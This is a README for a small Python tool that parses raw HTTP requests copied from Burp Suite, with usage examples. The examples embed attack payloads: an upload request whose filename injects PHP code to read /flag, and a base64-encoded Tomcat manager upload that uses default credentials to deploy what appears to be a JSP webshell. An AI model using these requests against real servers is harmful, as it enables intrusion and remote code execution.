ParseRawHTTP 1.0
Load HTTP request from a raw HTTP request
License: MIT
Keywords: ParseRawHTTP

## 解析原始http请求包

类似sqlmap里面的-r选项，直接解析http原始请求的小工具

可以直接使用从burpsuite复制的请求，支持base64编码，防止二进制数据在复制的时候出错

## 使用示例

```python
from ParseRawHTTP import ParseRawHTTP

Raw_HTTP_Str = '''POST /login HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 25
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for: 127.0.0.1
Connection: close

username=rayi&password=11

'''

http_url,http_method,http_headers_dict,http_body = ParseRawHTTP(Raw_HTTP_Str)
print("URL : http://" + http_url)
print("+--------------------------------------------------------------------+")
print("Headers : " , http_headers_dict)
print("+--------------------------------------------------------------------+")
print("Body : ", http_body.decode('utf8'))
print("+--------------------------------------------------------------------+\n")

# req = requests.request(method=http_method,url = http_url,headers=http_headers_dict,data=http_body).text
# print(req)

File_Upload = '''
POST / HTTP/1.1
Host: 192.168.39.2:8000
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=rayi
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfhBkNluTJKBLYIEw
Content-Length: 352


------WebKitFormBoundaryfhBkNluTJKBLYIEw
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

asd

------WebKitFormBoundaryfhBkNluTJKBLYIEw
Content-Disposition: form-data; name="upload"; filename="<?php system('cat /flag');?>"
Content-Type: image/gif

G

------WebKitFormBoundaryfhBkNluTJKBLYIEw--

'''


http_url,http_method,http_headers_dict,http_body = ParseRawHTTP(File_Upload)
print("URL : http://" + http_url)
print("+--------------------------------------------------------------------+")
print("Headers : " , http_headers_dict)
print("+--------------------------------------------------------------------+")
print("Body : ", http_body.decode('utf8'))
print("+--------------------------------------------------------------------+\n")

Upload_Binary_File = '''UE9TVCAvbWFuYWdlci9odG1sL3VwbG9hZCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xOjgwMDANCkNvbnRlbnQtTGVuZ3RoOiAxNTU3DQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTANCkF1dGhvcml6YXRpb246IEJhc2ljIGRHOXRZMkYwT25SdmJXTmhkQT09DQpDb250ZW50LVR5cGU6IG11bHRpcGFydC9mb3JtLWRhdGE7IGJvdW5kYXJ5PS0tLS1XZWJLaXRGb3JtQm91bmRhcnkwNm8zRDdwQktaa3NiYmE5DQp4LWZvcndhcmRlZC1mb3I6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogY2xvc2UNCg0KLS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5MDZvM0Q3cEJLWmtzYmJhOQ0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJkZXBsb3lXYXIiOyBmaWxlbmFtZT0iZ29kLndhciINCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQoNClBLAwQUAAgICADrripTAAAAAAAAAAAAAAAACQAEAE1FVEEtSU5GL/7KAAADAFBLBwgAAAAAAgAAAAAAAABQSwMEFAAICAgA664qUwAAAAAAAAAAAAAAABQA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15NZbSzwzmoPFNlntW+odtLNZl7Fp6l5p+EOfn11YDtZ8ApewSLdspuC/7pwZ78TCtUxeNHaho3XsUP31D5iMhOlBpYUM0I13va4pY05M0g/6/Bix96/LLFpRyxNnSWGEaZ3wlxLvKZmUeh7sm30f3vNv3cEkM4KkMEwEr6fNXDXUezgibN70XDba86UEsu3nWk7g3KDqIhQCt/TdavZB6Trj2SWUv/LhH2lfHbPLDOOjFE86vfcmGixZZ432Nx6Y3ufbptag037FzZVWzy/tQOKPZvrLtO+2x3G2O9slnX/ezR4q5/1gQTGrsu1fdioDhj7BhKOwmr37xA03RdQSwcIcHFlAo0DAAA3CgAAUEsBAhQAFAAICAgA664qUwAAAAACAAAAAAAAAAkABAAAAAAAAAAAAAAAAAAAAE1FVEEtSU5GL/7KAABQSwECFAAUAAgICADrripTfu1uUUQAAABFAAAAFAAAAAAAAAAAAAAAAAA9AAAATUVUQS1JTkYvTUFOSUZFU1QuTUZQSwECFAAUAAgICADRripTcHFlAo0DAAA3CgAABwAAAAAAAAAAAAAAAADDAAAAZ29kLmpzcFBLBQYAAAAAAwADALIAAACFBAAAAAANCi0tLS0tLVdlYktpdEZvcm1Cb3VuZGFyeTA2bzNEN3BCS1prc2JiYTktLQ0KDQoNCg=='''

http_url,http_method,http_headers_dict,http_body = ParseRawHTTP(Upload_Binary_File,is_base64=True)
print("URL : http://" + http_url)
print("+--------------------------------------------------------------------+")
print("Headers : " , http_headers_dict)
print("+--------------------------------------------------------------------+")
print("Body : ", http_body)
print("+--------------------------------------------------------------------+\n")
```